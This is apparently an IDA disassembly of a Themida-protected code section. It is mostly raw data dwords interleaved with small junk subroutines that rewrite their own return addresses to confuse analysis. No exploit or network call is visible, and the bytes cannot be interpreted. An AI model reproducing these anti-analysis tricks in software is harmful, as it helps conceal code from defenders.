		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD8BDFC4h
		dd 7FA0D55h, 0FFABF0Fh,	1B89h, 8D895600h, 7FA1D7Dh, 68F68166h
		dd 9E95F5Eh, 32000000h,	0D1B450DBh, 0AFA577B7h,	0CEBEC18Bh
		dd 0EB6B2BD7h, 4, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0CACA761Fh, 51F08B96h
		dd 9E8h, 0C681F200h, 0A0DA9AD5h, 0F38BAF5Ah, 858D5F5Eh
		dd 7FA0199h, 8E85390h, 0BB000000h, 12FB4977h, 5146A794h
		dd 505F5F5Eh, 118D8990h, 6A07FA2Dh, 6E900h, 0AA280000h
		dd 0B9E1E59h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 273A2DC3h, 0BE7907EFh, 7229D46h
		dd 6860Fh, 9D890000h, 7FA27B1h,	38E8858Dh, 0C08307FEh
		dd 0E7816605h, 60509665h, 0DE95250h, 34000000h,	0FCF17F8Eh
		dd 0D1FD47A4h, 0BB3473DEh, 0BF66310Fh, 585A1CF8h, 24048961h
		dd 36AFF0BEh, 8B006A12h, 0FA2D59B5h, 6A006A07h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 5C0CC350h, 0E995FFF3h, 8107FA2Bh, 111373EEh,	119D8D0Ah
		dd 6A07FDD7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 74F6C353h, 5E5C89F7h, 0C6818742h
		dd 219D0281h, 5870Fh, 0A4BE0000h, 0FF56E299h, 55006AD3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E9766282h, 7, 8087022Fh, 0FF90B1D2h, 0FA104985h, 84DE907h
		dd 0E80000h, 5D000000h,	38F2ED81h, 6A07FEh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 7C6AE5C3h
		dd 0E3E08104h, 9589A622h, 7FA16C9h, 719BD81h, 7D007FAh
		dd 860F0000h, 15Bh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0E3C35141h, 2FA2CD83h, 0E9808702h, 0Eh
		dd 0D4CB8056h, 70BB4E91h, 12F810A0h, 9D8B5A43h,	7FA0521h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5C35646h
		dd 0E38159h, 89000001h,	0FA20CDBDh, 0FDB0B07h, 8A85h, 0BE96000h
		dd 1000000h, 3B035060h,	0CB48E3A6h, 8D8BF81Ch, 7FA0B89h
		dd 83616061h, 0FE3778BDh, 840F0007h, 4Bh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 23C35646h, 3285D7E4h
		dd 0E91D7A82h, 50h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0DDC35343h, 1F48A7B6h, 0C7868D2Eh, 0FE377885h
		dd 107h, 0DD8D8900h, 0E907FA24h, 18h, 0C7F7BF0Fh, 0FE377885h
		dd 7, 711DBF00h, 85890C4Eh, 7FA17EDh, 5219D8Dh,	6A07FAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0CAAF63C3h, 3E17E59h, 0FA272DBDh, 0FF238107h, 60FFFFFEh
		dd 2D858501h, 0BE807FAh, 76000000h, 9DB26053h, 0ECD77548h
		dd 0DC800234h, 66615E7Bh, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 4D026DC3h, 0C3F6229Ah
		dd 8F840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0D866C357h,	4880Fh
		dd 0BE660000h, 10E94948h, 0AA000000h, 3EA3C3AAh, 3B29F313h
		dd 7C47BD64h, 0FF177273h, 0FA10A595h, 85BD8B07h, 8B07FA01h
		dd 0FA2599BDh, 0FB8B9007h, 0C860F50h, 0F000000h, 68Dh
		dd 0F525000h, 90585A31h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 6FC35141h, 770545CBh,	8FC1F563h, 25A5BD89h
		dd 0CCE907FAh, 0F8000003h, 8D0F00B0h, 8, 69852960h, 6107FA08h
		dd 8F0F70E6h, 0
		dd 6A71E4F9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0B107C357h, 0E13C8EB3h, 0BD89EB05h
		dd 7FA16F9h, 0E9D8B60Fh, 0Eh, 8C334521h, 0E28FFF95h, 7474FD90h
		dd 6BA3F2Dh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 3803C353h, 0E8C1C38Bh
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 4830F4Bh, 66000000h, 66F2C9BEh, 0AE9E2F7h
		dd 0D000000h, 0EFACF9DAh, 414662B2h, 6AD82BA9h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0A3E9C352h, 8C0F5693h, 0Dh, 8E9h, 76DAC800h,	0DFB8A45Fh
		dd 66505F84h, 0F93FE8Bh, 88Eh, 0C6815000h, 108E3D4Bh, 0B5FFFC5Eh
		dd 7FA0719h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0D2C35545h, 0EE97ECBh, 2C000000h, 9C6B8B1Ch, 4477D0CBh
		dd 76A614B5h, 1995FF53h, 8907FA10h, 0FA07098Dh,	5200B007h
		dd 20E5B503h, 0E65E07FAh, 6071E470h, 0EB1BD09h,	8D8907FAh
		dd 7FA076Dh, 0F613C61h,	26283h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0E8F5BDEh
		dd 77494BB2h, 850F32F7h, 5, 33DE8166h, 0D8B60F9Fh, 6E9h
		dd 614F6300h, 0BA3999C4h, 6, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0D4C35242h,	0EAA99109h, 0BFC38B27h
		dd 24F9B874h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 235EC352h, 85015735h
		dd 7FA2711h, 66F28B66h,	6AE2F7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 16058C3h, 10E8BF1Ah
		dd 8C000000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah, 0F4CC5BEh
		dd 680h, 9852900h, 5F07FA22h, 0DF81D82Bh, 4594AA37h, 69958958h
		dd 2B07FA08h, 70880FD8h, 0E9000001h, 13h, 0F70ADBFCh, 8EA803CFh
		dd 0E6437EABh, 8FBABF42h, 0B9BAED77h, 7, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0CEC35343h, 0AD5CE6B5h
		dd 0BE664569h, 0C1838F46h, 0FDB50100h, 3B07FA18h, 1C860FD9h
		dd 0F000001h, 8C66F2B7h, 0AD9D29D9h, 0F07FA0Ch,	0C1F6F7B7h
		dd 0DB840F04h, 8B000000h, 0FA10F5B5h, 0A595FF07h, 6A07FA10h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0A89AC351h, 0BEDA80BFh, 6A5B9CDBh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0B7BBC351h, 8B0F1231h, 1Dh, 0FE860h,	7CA60000h, 0C3479A20h
		dd 5B2D98AEh, 0B14B5A74h, 0BD03598Fh, 7FA100Dh,	6AC32B61h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 6034C357h, 0F59BD89h, 0E8B307FAh,	1DB58B61h
		dd 3D07FA26h, 834h, 30860Fh, 8D890000h,	7FA3159h, 4EE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8B0F5EF2h, 2, 0C08BF78Bh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 4C35141h, 0BE97E67Eh
		dd 2FE7810Eh, 8B76C946h, 6AD88BC3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0E2ECC350h
		dd 534FE57Fh, 39ED646Bh, 0F61BD8Bh, 0AE907FAh, 0C4000000h
		dd 5C66030Dh, 5812372Dh, 0C585C766h, 1307FA0Ch,	8952B1F1h
		dd 0FA0D359Dh, 6AC08B07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 327FC353h, 0BA61ADA4h
		dd 0BD2B1351h, 7FA2985h, 719BD81h, 7D007FAh, 850F0000h
		dd 30h,	27A59529h, 85FF07FAh, 7FA0719h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 21C35040h, 0AFDA7364h
		dd 2F54BE66h, 719B5FFh,	0BF0F07FAh, 1995FFF0h, 6A07FA10h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 5ED7C356h, 0AC94416Bh, 2181BD8Bh,	8D8907FAh
		dd 7FA1105h, 51006A90h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0C6DD09F8h, 9D292FB9h, 7FA2B49h
		dd 10E8h, 0AE7D6400h, 50B333F2h, 709E15FCh, 896288Dh, 3D95890Dh
		dd 5E07FA2Ah, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	0E7C35343h, 279D8529h, 6A07FAh,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 6AE6C3h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 7B1BD9C3h, 74EA4466h, 56006A0Bh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 13E95359h, 0C7000000h
		dd 320C4C75h, 0C4204663h, 830E42Eh, 0A2335317h,	6A4365h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0EF816EC3h, 17673F38h, 0BE66F78Bh, 0D7E93605h, 6AFFFFF7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0C360C355h, 9EFAA4D1h, 8B545A0Fh,	0EBFE8BC1h
		dd 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 26BE3A84h, 6A73479Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0C478C357h
		dd 0B9DFC346h, 2A08BF26h, 858D16FBh, 7FA0199h, 50FEBF0Fh
		dd 13E8h, 82B24F00h, 1755CCFAh,	0ED2EBF16h, 5EB3012Bh
		dd 0C3A7876Fh, 6E49B860h, 16BA29C4h, 6109A6F0h,	2404895Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3C35040h
		dd 0BBD3208Bh, 463BE387h, 0E5DBD8Bh, 6A07FAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4EC35141h, 84F5BC49h
		dd 0AFEC00CAh, 0EB83BF1Dh, 6A708Eh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 33C35040h, 0E543D388h, 7EAC528Bh
		dd 35B531DEh, 8D07FA1Dh, 0FE434D85h, 0D6816607h, 0C0839CB6h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 8A5BBB87h, 0A202C086h, 9589D11Eh, 7FA0061h
		dd 1EADBD8Bh, 665307FAh, 0F956DF81h, 0EBE905Eh,	503444C9h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0A188E149h, 1F8B1B0h, 0FA0D059Dh, 0E8006A07h
		dd 13h,	33DB7313h, 965BD74Ah, 0E266F1A9h, 4CF40401h, 0BE6AD8FDh
		dd 38764877h, 6A006A5Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8962C357h, 0FA00D9B5h
		dd 26BF6607h, 0E995FFD4h, 6A07FA2Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F814C353h
		dd 0A9519006h, 27DDBD8Bh, 9D8D07FAh, 7FDD711h, 0F7B70FF5h
		dd 8B66D3FFh, 4985FFF0h, 8907FA10h, 0FA249595h,	5855BE07h
		dd 0AFE95B8Bh, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FE4357h
		push	0
		push	ecx
		call	sub_5C77AA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C77AA	proc near		; CODE XREF: Themida_:005C77A2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5C77AA	endp

; ---------------------------------------------------------------------------
		dw 52E9h
		dd 19BD8172h, 0D007FA07h, 0F000007h, 13686h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 4D569CA8h, 0BFBDE681h, 9D8B3AA6h, 7FA2765h, 29D9B589h
		dd 0E38107FAh, 100h, 0D9DBD03h,	0DB0B07FAh, 6A850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0F3BCC3h, 40BD83BFh,	7FE41h,	1C840Fh, 0BD890000h, 7FA1D31h
		dd 63E9h, 0CE900h, 0B6790000h, 0D7A6275Bh, 0BAE3F8E7h
		dd 85C7CD6Bh, 7FE4140h,	1, 8E950h, 0D31F0000h, 0B2BE7388h
		dd 0E95E9A1Bh, 34h, 6BD7BF66h, 414085C7h, 7FEh,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 2D285AC3h, 0F12C3CEBh, 0FC254EB3h, 27659D8Dh, 6A07FAh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 7E7D34C3h, 35D6573Dh, 9D8D89ACh, 8107FA22h, 0FFFEFF23h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 25B58BFBh, 6607FA28h, 0C3F6DB8Ch, 53840F04h
		dd 0FF000000h, 0FA10A595h, 3DB58B07h, 8907FA11h, 0FA31898Dh
		dd 66609007h, 50CCDBBEh, 0F525052h, 0F585A31h, 5A1AB531h
		dd 0F506158h, 8Bh, 6A9000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0B4EF9EC3h, 4799F781h
		dd 0E8E97254h, 66000003h, 0B0DB6EBEh, 3DB58900h, 0E607FA2Bh
		dd 56006A70h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 371E40Fh, 0FA2711B5h, 0FF78B07h,	0F38BD8B6h
		dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0F1BF0FCCh, 8166C38Bh, 0C1138BCEh
		dd 6A04E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 5012FFC3h, 0B52BFAE5h, 7FA29A9h, 6AE2F766h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 666DC351h, 0D82BF08Bh, 0B84FD781h, 89507C13h
		dd 6A241Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0B9E30DC3h, 66F98AE2h, 0FF147EBFh, 0FA0719B5h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 3893449h, 8BD71302h, 0FA0C95B5h,	0D9B58B07h
		dd 0FF07FA00h, 0FA101995h, 0F6B70F07h, 6A00B0h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0B0D299C3h, 6A70E618h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 7DAEC355h, 5FAB9520h
		dd 0E9B7C6C3h, 0Ch, 0DFBF8D11h,	37ACE145h, 8973291Bh, 10E9h
		dd 9304B00h, 5DC7485h, 2CB156B8h, 25C0DF14h, 6A71E490h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 8BF6C357h, 188A0DD5h, 0F613C57h, 23283h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0D8B60F0Ch, 6BAh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0D1BD0103h
		dd 8B07FA2Eh, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0E8C1FFACh, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0BC6FCD7Eh
		dd 0AAFB01A3h, 0EE9FCh,	28380000h, 0A68CCE9Bh, 0BCB6107Eh
		dd 4BCB5538h, 8BE2F766h, 0FA0129BDh, 66D82B07h,	7391C681h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0D82B0C93h, 15D880Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F90AAC3h
		dd 58Ah, 0C7816600h, 7B98E58h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0FFCC353h
		dd 0F32AE368h, 666CB196h, 831D95BFh, 0D93B00C1h, 0FD860Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 83E58BC3h, 8BF08B66h, 0FA2AD1B5h,	0D98C6607h
		dd 0EEE8F781h, 0C1F67668h, 8C840F04h, 0F000000h, 18Eh
		dd 95FFF500h, 7FA10A5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 77C35242h, 0DF31FA99h, 3969E907h, 4195890Fh
		dd 5B07FA17h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	0A2C35343h, 0B9138C91h,	6AC32BB2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5EEDC357h
		dd 343D17E1h, 0F000008h, 686h, 38E9F900h, 8B000000h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 6E32F938h, 519BC322h, 61B58B51h, 5F07FA0Bh, 21BD895Eh
		dd 6607FA11h, 8B1B47BFh, 23D88BC3h, 0FA30D5BDh,	0D5B58B07h
		dd 0C707FA2Ah, 0FA052185h, 7C9D7307h, 0B1BD8B55h, 8B07FA0Fh
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 337B3676h, 7C1DA9EAh, 0AE9h, 0F15EBD00h
		dd 172A9F8Dh, 81ED6945h, 0FA0719BDh, 7D007h, 51850F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 220EC357h, 246C1923h, 0B6D8E904h
		dd 71985FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0F2F669C3h, 0BD8BC56Bh, 7FA1569h
		dd 719B5FFh, 0BE6607FAh, 95FF3168h, 7FA1019h, 6E4ABF66h
		dd 0F890F90h, 66000000h, 0E9E58CBEh, 6,	79A60EBh, 8960A07Ah
		dd 0FA1DADBDh, 0CB48B807h, 0F616B3Ch, 38Eh, 0F9B70F00h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4AC35545h
		dd 816C2454h, 0C07292B8h, 9E960h, 80630000h, 509EF59Eh
		dd 89A1EFF1h, 0FA33F18Dh, 29BE6607h, 0BD0161C8h, 7FA1CD5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FC35646h
		dd 173B728Fh, 8B15AA6Ch, 0FA17D5B5h, 10E907h, 0C79D0000h
		dd 8DF4534Ah, 0D090DF64h, 2C04F942h, 6ABEF9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5BF983C3h
		dd 9CB0320h, 0B5B58B9Eh, 8B07FA01h, 0FA0D69B5h,	10E807h
		dd 31B70000h, 219A8212h, 494357C0h, 3C4A769Fh, 0D781111Dh
		dd 53BF447h, 62DBD8Bh, 95F07FAh, 0FA2FA98Dh, 0F871E907h
		dd 0BD29FFFFh, 7FA160Dh, 14850Fh, 0E8BE0000h, 0E941A5BBh
		dd 0Ah,	0B748CFB6h, 184A0A94h, 0C18B2317h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B2C35545h, 0B4787401h
		dd 0F9BF0F53h, 8041BE5Eh, 4EB4082h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5C7F7F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7F7F	proc near		; CODE XREF: Themida_:005C7F77p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5C7F7F	endp

; ---------------------------------------------------------------------------
		pop	edi
		cwde
		inc	esp
		xor	al, 0DAh
		push	eax
		or	esi, [ebp+7FA0F25h]
		pop	edi
		push	0
		push	edi
		call	sub_5C7FA7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7FA7	proc near		; CODE XREF: Themida_:005C7F9Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5C7FA7	endp

; ---------------------------------------------------------------------------
		db 5Fh
		dd 0BEC6FB5Dh, 775444DFh, 199858Dh, 958907FAh, 7FA1F81h
		dd 0CBF6650h, 2404891Ch, 4CDBEF81h, 50601597h, 20F5BD8Bh
		dd 0E95A07FAh, 14h, 89021162h, 0AE9646F1h, 0B8428995h
		dd 0F9A9EE5Dh, 0E9FDCF11h, 1006A61h, 0FA1C85BDh, 6A006A07h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 7438C352h, 0F82DCF41h, 0B9C6DD09h, 4CD7858Dh
		dd 0F98B07FEh, 6A05C083h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 89B9C353h, 0FA28699Dh
		dd 0FE8B9007h, 0F88B6650h, 41B52390h, 6A07FA35h, 0DE816600h
		dd 6A9E49h, 6E8h, 0E1970F00h, 89B36C0Eh, 0FA2CA9B5h, 0BD8B5F07h
		dd 7FA3189h, 2BE995FFh,	0B58B07FAh, 7FA1129h, 14618D29h
		dd 9D8D07FAh, 7FDD711h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0C6C35646h, 66153067h, 0FF12F681h, 6AD3FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0A6E9FAC3h, 0F781E5F1h, 29256F0Ch, 0FA240DBDh, 4985FF07h
		dd 0E807FA10h, 0Fh, 0AB8D4503h,	0C47B21B7h, 82A1EA9Bh
		dd 60EA3B47h, 0ACD78166h, 0DE81661Eh, 5E611BA4h, 901E9h
		dd 0E800h, 815D0000h, 0FE4CE1EDh, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0EF61DABh
		dd 9D8959FBh, 7FA1CB9h,	719BD81h, 7D007FAh, 860F0000h
		dd 159h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0FAC35747h, 8BFE8B49h, 0FA185D9Dh, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 3BBEC9DAh, 814635F6h, 100E3h, 850F00h, 0F000000h, 0DB0BF8BFh
		dd 9C850Fh, 83F50000h, 0FE4B2FBDh, 840F0007h, 5Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 91C35040h, 424EE637h
		dd 0E9D07A97h, 0Bh, 0AF8478E4h,	857797A5h, 0E94EFD92h
		dd 66h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 0F9C35141h, 625019EFh, 73DA5F2Ch, 2F85C770h,	107FE4Bh
		dd 8B000000h, 30E9FAh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0CC7356C3h, 85C7867Ch
		dd 7FE4B2Fh, 0
; ---------------------------------------------------------------------------
		or	esi, 2A9C80C6h
		lea	ebx, [ebp+7FA185Dh]
		push	0
		push	ebp
		call	sub_5C827B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C827B	proc near		; CODE XREF: Themida_:005C8273p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C827B	endp

; ---------------------------------------------------------------------------
		mov	ds:2DBD2B48h, eax
		daa
		cli
		pop	es
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	ebp
		call	sub_5C82A4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C82A4	proc near		; CODE XREF: Themida_:005C829Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5C82A4	endp

; ---------------------------------------------------------------------------
		fdiv	dword ptr [edi+3Ch]
		cmp	ch, dl
		mov	bx, ds
		push	0
		push	edx
		call	sub_5C82C7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C82C7	proc near		; CODE XREF: Themida_:005C82BFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C82C7	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 45172A9Fh, 0B02CED69h, 14E9D2h, 0D2360000h, 134FA557h
		dd 0F6F4A6F2h, 30D0CE97h, 0F9CE3EC4h, 0C3F635F8h, 86840F04h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0C48AC350h, 0EE91248h,	8E000000h
		dd 0F52872CAh, 945ACF78h, 698A042Fh, 0A595FF44h, 6A07FA10h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0C408C353h, 100FB4D6h, 41D78166h,	0EE850A9h
		dd 0EA000000h, 0E4D9DE77h, 4AEECC25h, 3AFBF184h, 5E9E5h
		dd 65800000h, 5EF93479h, 1240489h, 0FA0EC1BDh, 3F9E907h
		dd 5E80000h, 0E5000000h, 27A1C94Ah, 0E900B05Fh,	0Ah, 833C903Bh
		dd 480B5AB4h, 70E62083h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0E3C35545h, 0B60F71E4h, 0EFBF66D8h, 6BA03h
		dd 0BD890000h, 7FA1041h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0B11ADBC3h, 8E0FCA28h
		dd 5, 0D6BF0F60h, 4E8C161h, 5C54DF81h, 0F7661A01h, 53006AE2h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 38AAF125h, 779FD083h, 0F88BCF7Dh, 6AD82Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 660983C3h
		dd 725F940Ah, 8950FC6Bh, 6A241Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 667ACC3h, 5851B195h
		dd 0D681665Fh, 0B5FFF9CAh, 7FA0719h, 1059BD01h,	95FF07FAh
		dd 7FA1019h, 0C800Fh, 860F0000h, 6, 24459589h, 67BE07FAh
		dd 0B0702EACh, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0CE9A0DFh, 9DB58B39h
		dd 0E607FA2Ah, 830F70h,	0E4000000h, 52006A71h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0BE5CB780h
		dd 95F51C4h, 830F613Ch,	273h, 2599B531h, 0B60F07FAh, 0E1BD09D8h
		dd 0BA07FA01h, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	4FC35242h, 2C53BE66h, 0CE8h, 0E527B000h, 7134F1A7h
		dd 25FFCB59h, 0B1B509F5h, 5E07FA1Ch, 6AC38Bh, 3E853h, 5B200000h
